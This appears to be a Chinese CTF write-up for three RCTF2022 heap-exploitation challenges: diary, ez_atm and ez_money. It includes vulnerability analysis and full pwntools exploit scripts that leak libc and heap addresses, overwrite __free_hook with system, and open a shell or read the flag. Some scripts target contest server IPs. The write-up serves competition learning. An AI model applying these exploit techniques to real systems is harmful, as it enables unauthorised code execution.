0%

RCTF2022

diary

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31
1
2
3
4
5
diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=f9a0df0117a1b0f105959590bb560a21554a17e2, stripped
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

程序的 “dele” 模块有点漏洞

1
2
3
4
5
6
add(2022,12,10,10,30,30,b"1"*0x300)
add(2021,12,10,10,30,30,b"2"*0x300)
add(2020,12,10,10,30,30,b"3"*0x300)
add(2019,12,10,10,30,30,b"4"*0x300)

dele(0)

这里我们只释放了 chunk0,但 chunk3 也被释放了,并且堆块整体向上移动(如果我们释放最后一个 chunk,则是正常的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> telescope 0x55555557f080
00:00000x55555557f080 ◂— 0x6
01:00080x55555557f088 ◂— 0x311
02:00100x55555557f090 ◂— 0x7e5550a0c0a1e1e
03:00180x55555557f098 ◂— 0x0
04:00200x55555557f0a0 —▸ 0x555555580350 ◂— 0x3232323220202020 (' 2222')
05:00280x55555557f0a8 ◂— 0x7e4550a0c0a1e1e
06:00300x55555557f0b0 ◂— 0x0
07:00380x55555557f0b8 —▸ 0x555555580690 ◂— 0x3333333320202020 (' 3333')
08:00400x55555557f0c0 ◂— 0x7e3550a0c0a1e1e
09:00480x55555557f0c8 ◂— 0x0
0a:00500x55555557f0d0 —▸ 0x5555555809d0 —▸ 0x55555557fd00 ◂— 0x0
0b:00580x55555557f0d8 ◂— 0x7e3550a0c0a1e1e
0c:00600x55555557f0e0 ◂— 0x0
0d:00680x55555557f0e8 —▸ 0x5555555809d0 —▸ 0x55555557fd00 ◂— 0x0
  • 程序可以控制前3个 chunk,利用第3个 chunk 就可以完成泄露

入侵思路

利用这个程序漏洞就可以完成泄露:

  • 泄露 heap_base:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(2022,12,10,10,30,30,b"1"*0x300)
add(2021,12,10,10,30,30,b"2"*0x300)
add(2020,12,10,10,30,30,b"3"*0x300)
add(2019,12,10,10,30,30,b"4"*0x300)
add(2018,12,10,10,30,30,b"5"*0x300)
add(2017,12,10,10,30,30,b"6"*0x300)
add(2016,12,10,10,30,30,b"7"*0x300)

dele(6)
dele(0)
dele(0)
dele(0)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x14390
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))
  • 泄露 libc_base:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
dele(0)
dele(0)
add(1802,12,10,10,30,30,b"1"*0x300)
add(1801,12,10,10,30,30,b"2"*0x300)
add(1800,12,10,10,30,30,b"3"*0x300)
add(1809,12,10,10,30,30,b"4"*0x300)
add(1808,12,10,10,30,30,b"5"*0x300)
add(1807,12,10,10,30,30,b"6"*0x300)
add(1806,12,10,10,30,30,b"7"*0x300)
add(1805,12,10,10,30,30,b"8"*0x300)
add(1804,12,10,10,30,30,b"9"*0x300)

dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

注意观察此时的堆风水:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> telescope 0x55555557f080
00:00000x55555557f080 ◂— 0x6
01:00080x55555557f088 ◂— 0x311
02:00100x55555557f090 ◂— 0x709550a0c0a1e1e
03:00180x55555557f098 ◂— 0x0
04:00200x55555557f0a0 —▸ 0x55555557fd00 ◂— 0x3232323220202020 (' 2222')
05:00280x55555557f0a8 ◂— 0x708550a0c0a1e1e
06:00300x55555557f0b0 ◂— 0x0
07:00380x55555557f0b8 —▸ 0x555555581730 —▸ 0x7ffff7da9be0 (main_arena+96) —▸ 0x555555582db0 ◂— 0x0
08:00400x55555557f0c0 ◂— 0x708550a0c0a1e1e
09:00480x55555557f0c8 ◂— 0x0
0a:00500x55555557f0d0 —▸ 0x555555581730 —▸ 0x7ffff7da9be0 (main_arena+96) —▸ 0x555555582db0 ◂— 0x0
0b:00580x55555557f0d8 ◂— 0x711550a0c0a1e1e
0c:00600x55555557f0e0 ◂— 0x0
0d:00680x55555557f0e8 —▸ 0x555555581a70 —▸ 0x555555581db0 —▸ 0x5555555820f0 —▸ 0x555555582430 ◂— ...
0e:00700x55555557f0f0 ◂— 0x710550a0c0a1e1e
0f:00780x55555557f0f8 ◂— 0x0
  • chunk1 和 chunk2 都是 unsortedbin
  • 也就是说,接下来程序在这个 unsortedbin 中申请的第一个 chunk 会被当做 chunkn,可以被“堆菜单”提供的各个函数控制
1
2
3
4
5
6
memset(*(void **)(a1 + 16), 0, 0x300uLL);
memcpy(*(void **)(a1 + 16), " ", 4uLL);
len2 = 0x2F0;
if ( len <= 0x2F0 )
len2 = len;
memcpy((void *)(*(_QWORD *)(a1 + 16) + 4LL), a2, len2);
  • 在“堆菜单”的 update 函数中,可以对 0x2F0 字节大小的空间进行控制
  • 只要申请的 chunk 比 0x2F0 小,就可以完成堆溢出

接下来的思路很简单,就是利用这个堆溢出来修改 encrypt 创建的 chunk:

  • encrypt 会对程序进行加密,然后把原来的数据存储在一个 chunk 中
  • 只要覆盖了这个 chunk 中的数据,就可以在 decrypt 中把修改后的数据写回
  • 于是我们直接 encrypt tcachebin 上的 chunk,把 encrypt chunk 修改为 free_hook 后使用 decrypt 放回

这里的堆风水是比较困难的,因为 memset 会把 heap 上相当一部分的数据置空,导致程序出现段错误,因此在进行溢出的 chunk 后面就只能有 encrypt chunk

但在实际操作中又会遇到一些问题,溢出的字节数不够,只能在 encrypt chunk 上覆盖 free_hook 的前4字节,不能将完整的 free_hook 写入(不知道出题人设计好的)

这里我卡了很久,之后突然想到可以直接使用 update 来覆盖后4字节的值(程序会在 chunk 之前加上4个空格),然后就可以申请到 free_hook

最后记得在 “/bin/sh” 两端加上 “;” 进行间隔

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './diary'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x3e66)\n")
#pause()

def cmd(str):
p.sendlineafter("input your test cmd:\n",str)

def add(year, month, day, hour, minutes, second, content):
cmd(b'add#'+bytes(str(year),encoding="utf8")+b'#'+bytes(str(month),encoding="utf8")+b'#'+bytes(str(day),encoding="utf8")+b'#'+bytes(str(hour),encoding="utf8")+b'#'+bytes(str(minutes),encoding = "utf8")+b'#'+bytes(str(second),encoding = "utf8")+b'#'+content)

def edit(idx, content):
cmd(b'update#'+ bytes(str(idx), encoding = "utf8")+b'#'+content)

def show(idx):
cmd('show#'+str(idx))

def dele(idx):
cmd('delete#'+str(idx))

def encrypt(idx, offset, length):
cmd('encrypt#'+str(idx)+'#'+str(offset)+'#'+str(length))

def decrypt(idx):
cmd('decrypt#'+str(idx))

#debug()
add(2022,12,10,10,30,30,b"1"*0x300)
add(2021,12,10,10,30,30,b"2"*0x300)
add(2020,12,10,10,30,30,b"3"*0x300)
add(2019,12,10,10,30,30,b"4"*0x300)
add(2018,12,10,10,30,30,b"5"*0x300)
add(2017,12,10,10,30,30,b"6"*0x300)
add(2016,12,10,10,30,30,b"7"*0x300)

dele(6)
dele(0)
dele(0)
dele(0)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x14390
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(0)
dele(0)
add(1802,12,10,10,30,30,b"1"*0x300)
add(1801,12,10,10,30,30,b"2"*0x300)
add(1800,12,10,10,30,30,b"3"*0x300)
add(1809,12,10,10,30,30,b"4"*0x300)
add(1808,12,10,10,30,30,b"5"*0x300)
add(1807,12,10,10,30,30,b"6"*0x300)
add(1806,12,10,10,30,30,b"7"*0x300)
add(1805,12,10,10,30,30,b"8"*0x300)
add(1804,12,10,10,30,30,b"9"*0x300)

dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc.sym["__free_hook"] + libc_base
system_libc = libc.sym["system"] + libc_base
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = one_gadgets[2] + libc_base
success("free_hook >> "+hex(free_hook))

encrypt(0,4,0x8)
show(0)
p.recvuntil(" ")
leak_data = u64(p.recv(8).ljust(8,b"\x00"))
success("leak_data >> "+hex(leak_data))
random_key = leak_data ^ 0x3232323232323232
success("random_key >> "+hex(random_key))

dele(0)
dele(0)
add(1701,12,10,10,30,30,b"1"*0x30)
add(1702,12,10,10,30,30,b"2"*0x300)
add(1703,12,10,10,30,30,b"3"*0x300)
add(1704,12,10,10,30,30,b"4"*0x300)
add(1705,12,10,10,30,30,b"5"*0x300)
add(1706,12,10,10,30,30,b"6"*0x300)
add(1707,12,10,10,30,30,b"7"*0x300)
add(1708,12,10,10,30,30,b"8"*0x300)
add(1709,12,10,10,30,30,b"9"*0x300)
add(1710,12,10,10,30,30,b"0"*0x300)

dele(9)
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(0)

heap_addr = 0x14770 + heap_base
add(1711,12,10,10,30,30,b"a"*0x2c0)
dele(0)
encrypt(2,0,4)

free_hook_up = u32(p64(free_hook-4-8)[4:8])
free_hook_down = u32(p64(free_hook-4-8)[:4])
success("free_hook_up >> "+hex(free_hook_up))
success("free_hook_down >> "+hex(free_hook_down))

edit(1,b"c"*(0x2f0-4)+p64(free_hook_down))
edit(2,p32(free_hook_up))
decrypt(2)

dele(0)
dele(0)
dele(0)

add(1712,12,10,10,30,30,b"a"*4+p64(heap_base))
add(1713,12,10,10,30,30,b";/bin/sh"+p64(system_libc))
dele(0)
add(1713,12,10,10,30,30,b";/bin/sh;"+p64(system_libc))

p.interactive()

ez_atm

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
ez_atm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=bd8945726574e2b623d0f972a2b9d04bb4fd9e3a, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

本程序分为客户端和服务端,在客户端上有一个后门:(没什么用)

1
2
3
4
5
6
7
int __cdecl __noreturn magic()
{
info("here I will give you a f1ag,you win!");
system("/bin/cat flag.txt");
close(sockfd);
_exit(0);
}

cancellation 函数中有一个 UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
for ( i = 5; i > 0; --i )
{
if ( check_password(current_account, &data[16]) )
{
free(account_list[current_account]); // UAF
current_account = -1;
toClient(1, "The target account has been cancelled.");
return 0LL;
}
if ( i != 1 )
toClient(2, "password error.Try again.");
receviceline();
}

stat_query 函数中调用的 toClient 函数中有溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void *__fastcall toClient(int num, _QWORD *str)
{
__int64 str_tmp; // rcx MAPDST
__int64 str_tmp2; // rdx

printf("reply : %s\n", (const char *)str);
strline = num;
str_tmp = str[1];
ret_data[0] = *str;
ret_data[1] = str_tmp;
str_tmp = str[3];
ret_data[2] = str[2];
ret_data[3] = str_tmp;
str_tmp = str[5];
ret_data[4] = str[4];
ret_data[5] = str_tmp;
str_tmp = str[7];
ret_data[6] = str[6];
ret_data[7] = str_tmp;
str_tmp = str[9];
ret_data[8] = str[8];
ret_data[9] = str_tmp;
str_tmp = str[11];
ret_data[10] = str[10];
ret_data[11] = str_tmp;
str_tmp = str[13];
ret_data[12] = str[12];
ret_data[13] = str_tmp;
str_tmp2 = str[15];
ret_data[14] = str[14];
ret_data[15] = str_tmp2;
send(fd, &strline, 0x84uLL, 0);
return memset(&strline, 0, 0x84uLL);
}

入侵思路

本地可以用如下方式运行程序:

1
2
./client 127.0.0.1 3339
./ez_atm

比赛时我看了半天也不知道该如何泄露,因为 client 限制了程序的输入,导致程序的溢出利用不了(虽然客户端的 stat_query 有溢出,但是服务端的 client 接收不到)

赛后看别人 wp 才发现可以不通过 client 进行交互,从而摆脱了 client 的限制

先把本地的 docker 环境搭起来:(记得在 bin 目录中添加一个 flag 文件)

1
docker build -t "ez_atm" .
  • 启动容器:
1
docker run -d -p "0.0.0.0:4444:8888" -p "0.0.0.0:7777:3339" -h "ez_atm" --name="ez_atm" ez_atm
  • 然后执行 docker exec -it 连接目标 docker:
1
docker exec -it 87a8f7705e22 /bin/sh
  • 后台运行程序:
1
2
cp ./ez_atm /
/ez_atm &
  • 查看程序的 PID:
1
2
3
4
5
ps -aux | grep "ez_atm"
root 185272 0.0 0.0 4396 764 pts/0 S 02:58 0:00 ./ez_atm # 子进程
root 185275 4.0 0.0 0 0 pts/0 Z 03:02 0:04 [ez_atm] <defunct>
root 247050 0.0 0.0 4528 68 pts/0 S 03:02 0:00 ./ez_atm # 父进程
root 247052 0.0 0.0 11472 1104 pts/0 S+ 03:03 0:00 grep ez_atm
  • 查看容器的 PID:
1
2
3
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
87a8f7705e22 ez_atm "/start.sh" 26 minutes ago Up 26 minutes 0.0.0.0:7777->3339/tcp, 0.0.0.0:4444->8888/tcp ez_atm
1
2
docker inspect -f '{{.State.Pid}}' 87a8f7705e22
377387

如果我们不使用 client 进行连接,就需要先绕过服务端的随机数检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 recv_init()
{
unsigned int seed[2]; // [rsp+8h] [rbp-38h] BYREF
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
*(_QWORD *)seed = time(0LL);
srand(seed[0]);
strcpy(s, "yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy");
code(s);
send(fd, seed, 4uLL, 0);
if ( recv(fd, data, 0x1EuLL, 0) < 0 )
{
puts("error ");
close(fd);
exit(0);
}
puts(s);
if ( memcmp(s, data, 0x1EuLL) )
{
toClient(0, "1111");
close(fd);
_exit(0);
}
toClient(1, "success");
return 1LL;
}
  • 绕过该检测的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def init():
from ctypes import cdll
clibc = cdll.LoadLibrary('libc.so.6')

def getrand():
return clibc.rand() % 15

ask_time = u32(p.recv(4))
clibc.srand(ask_time)
uuid = list("yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
for i in range(len(uuid)):
if uuid[i] != '4' and uuid[i] != '-':
if uuid[i] == 'x':
uuid[i] = hex(getrand())[2:]
else:
uuid[i] = hex(getrand() & 3 | 8)[2:]
uuid = ''.join(uuid)
p.send(uuid)

另外我还看到一种解决办法,就是直接 path 客户端文件 client

1
2
3
4
5
6
void __cdecl stat_query()
{
send_msg("stat_query", 10);
recv_msg();
puts(&msg_rec.msg_info[24]);
}
1
2
3
4
5
6
pwndbg> telescope 0x7ffc9b86aa00
00:0000│ rax rsi 0x7ffc9b86aa00 ◂— 0x2
01:00080x7ffc9b86aa08 ◂— 0xfd7bd20ea9bd5400
02:00100x7ffc9b86aa10 —▸ 0x55959cc02130 ◂— push r15
03:00180x7ffc9b86aa18 —▸ 0x7f4fc5e01c87 (__libc_start_main+231) ◂— mov edi, eax
04:00200x7ffc9b86aa20 ◂— 0x1

获取到 libc_base 后,就直接把它写入 fastbin 中,然打 fastbin attack 就好了(最后执行 system(cat flag >&4)

完整 exp:(不通过 client 进行交互)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import time
context.arch = "amd64"
#context.log_level = "debug"

def msg_send(op, account_id="", password="", money=0):
data = flat(
{
0x0: op,
0x10: password,
0x18: account_id,
0x38: p32(money),
},
filler='\x00'
).ljust(0x98, '\x00')
sh.send(data)
time.sleep(0.2)

def init():
from ctypes import cdll
clibc = cdll.LoadLibrary('libc.so.6')

def getrand():
return clibc.rand() % 15

ask_time = u32(sh.recv(4))
clibc.srand(ask_time)
uuid = list("yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
for i in range(len(uuid)):
if uuid[i] != '4' and uuid[i] != '-':
if uuid[i] == 'x':
uuid[i] = hex(getrand())[2:]
else:
uuid[i] = hex(getrand() & 3 | 8)[2:]
uuid = ''.join(uuid)
sh.send(uuid)

sh = remote('127.0.0.1', 7777)
#sh = remote('139.9.242.36', 4445)
init()
msg_send("stat_query")

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x21c87
log.success("libc_base:\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f420
msg_send("new_account", "account1", "password", 0xdeadbeef)
msg_send("exit_account")
msg_send("new_account", "account2", "password", 0xdeadbeef)

msg_send("cancellation", "account2", "password")
msg_send("login", "account1", "password")
msg_send("query")
sh.recvuntil(p64(0x41) + p64(0))
heap_base = u64(sh.recv(8)) - 0x10
log.success("heap_base:\t" + hex(heap_base))
msg_send("exit_account")
msg_send("new_account", "account2", "password", 0xdeadbeef)
msg_send("exit_account")

msg_send("login", "account2", "password")
msg_send("cancellation", "account2", "password")
msg_send("login", "account1", "password")
msg_send("cancellation", "account1", "password")

msg_send("login", p64(heap_base + 0x10), p64(heap_base + 0x6b0))
msg_send("update_pwd", "account1", p64(free_hook_addr - 0x18))
msg_send("update_pwd", "account1", p64(heap_base + 0x6b0))
msg_send("exit_account")
msg_send("new_account", "test", "password", 0xdeadbeef)
msg_send("exit_account")
msg_send("new_account", ">&4\x00".ljust(0x10, '\x00') + p64(system_addr), "cat flag", 0xdeadbeef)
msg_send("cancellation", "", "cat flag")

sh.interactive()

完整 exp:(直接修改 client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './client'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
#p = process(challenge)
p = process(['./client','127.0.0.1','3339'])
else:
p = process(['./client','139.9.242.36','4445'])

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x19DA)\n")
pause()

def cmd(choice):
sla("your choice :",choice)

def add(id,passwd,money):
cmd("new_account")
sla("please input the account id",id)
sla("please input the password",passwd)
sla("please input the money",str(money))

def free(passwd):
cmd("cancellation")
p.sendlineafter("please enter the password",passwd)

def quit():
cmd("exit_account")

def query():
cmd("query")

def login(account,passwd):
cmd("login")
sla("please input the account id",account)
sla("please input the password",passwd)

def change(account,passwd):
cmd("transfer_account")
sla("Please enter the remittance amount",account)
sla("please input your pasword",passwd)

def edit(passwd,old_passwd):
cmd("update_pwd")
sla("please entet a new password",passwd)
sla("please input your pasword.",old_passwd)

def stat_query():
cmd('stat_query')

stat_query()

leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr - 0x21c87
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system_libc = libc_base + libc.sym['system']
success("free_hook >> "+hex(free_hook))

for i in range(8):
add(str(i)*8,"123456",0x61)
quit()

for i in range(8):
login(str(i)*8,"123456")
free("123456")

login("7"*8,"\x00"*8)
edit(p64(free_hook-0x10),"\x00"*8)
quit()

for i in range(8):
add(str(i)*6,"123456",0x61)
quit()

add("a"*8,p64(system_libc),0x61)
quit()
add('>&4 ','cat flag',120)
free('cat flag')

p.interactive()

game

非预期

ez_money

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
ez_money: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d3173989de9ecef646bad08f24a9d5fda1061937, for GNU/Linux 3.2.0, stripped    
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

loan 函数中有溢出:

1
2
3
4
5
if ( loan_index > 10 )
{
output("The loan has reached the upper limit of the system.");
return 2LL;
}
  • 由于 loan 函数的执行次数没有设置正确,导致程序有一个堆溢出

入侵思路

程序会先申请一个 chunk 来存放 loan_info,它的相邻下一个 chunk 就是 chunk_list 的第一个对象

  • 我们在存放 loan_info 的 chunk 中进行溢出,修改相邻下一个 chunk 的 size 大小,使其可以进入 largebin
  • 然后释放掉 chunk_list 的第一个对象,使其进入 largebin,然后打印 loan_info 就可以泄露 libc_base

由于 libc-2.31 有 key 值保护 tcachebin,因此我们需要用同样的方式来泄露 heap_base

  • 在之前生成的 unsortedbin 中申请新的 chunk,使其覆盖原来 chunk_list 的第一个对象
  • 将其释放并组织一下堆风水就可以泄露 heap_base

最后利用堆风水劫持 tcachebin 就好了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './ez_money'

context.os='linux'
#context.log_level = 'debug'

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1888)\n")
#pause()

def cmd(op):
sla("your choice",op)

def add(id,passwd,money):
cmd("new_account")
sla("please input the account id",id)
sla("please input the password",passwd)
sla("please input the money",str(money))

def dele(passwd):
cmd("Cancellation")
sla("please enter the password",passwd)

def quit():
cmd("Exit_account")

def login(account,passwd):
cmd("login")
sla("please input the account id",account)
sla("please input the password",passwd)

def edit(passwd,old_passwd):
cmd("Update_info")
sla("please entet a new password",passwd)
sla("please input your password.",old_passwd)

def loan(size,context):
cmd("Loan_money")
sla("Please enter the loan amount (no more than 1 million)",str(size))
sla("Please leave your comments.",context)

#debug()

for i in range(10):
add(str(i)*0x20,"123456",0x50)
loan(0x50,"a"*0x8)
quit()

add("a"*0x8+p64(0x461)+"w"*0x20,"123456",10000000)
loan(0x50,"p"*0x18)
quit()

add("b"*0x20,"123456",10000000)
quit()
add("c"*0x20,"123456",10000000)
quit()
add("d"*0x20,"123456",10000000)
quit()
add("e"*0x20,"123456",10000000)
quit()
add("f"*0x20,"123456",10000000)
quit()

login("w"*0x8+"p"*0x18,"w"*0x8)
dele("w"*0x8)
login("b"*0x20,"123456")
cmd("I'm vip!")

p.recvuntil("aaaaaaaaa")
p.recv(7)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system_libc = libc_base + libc.sym['system']
success("free_hook >> "+hex(free_hook))

quit()
for i in range(3):
add(str(i)+"t"*0x1f,"123456",0x50)
quit()

login("e"*0x20,"123456")
dele("123456")
login("f"*0x20,"123456")
dele("123456")

login("0"+"t"*0x1f,"123456")
dele("123456")
login("2"+"t"*0x1f,"123456")
dele("123456")
login("c"*0x20,"123456")
cmd("I'm vip!")

p.recvuntil("aaaaaaaaQ")
p.recv(15)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x10
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

quit()
login(p64(heap_base+0x10)+"t"*0x18,p64(heap_base+0x580))
edit(p64(free_hook),p64(heap_base+0x580))

quit()
add("g"*0x20,"123456",10000000)
quit()
add("h"*0x20,p64(system_libc),10000000)

quit()
login("d"*0x20,"123456\x00\x77")
edit("/bin/sh\x00","123456\x00\x77")
dele("/bin/sh\x00")

p.interactive()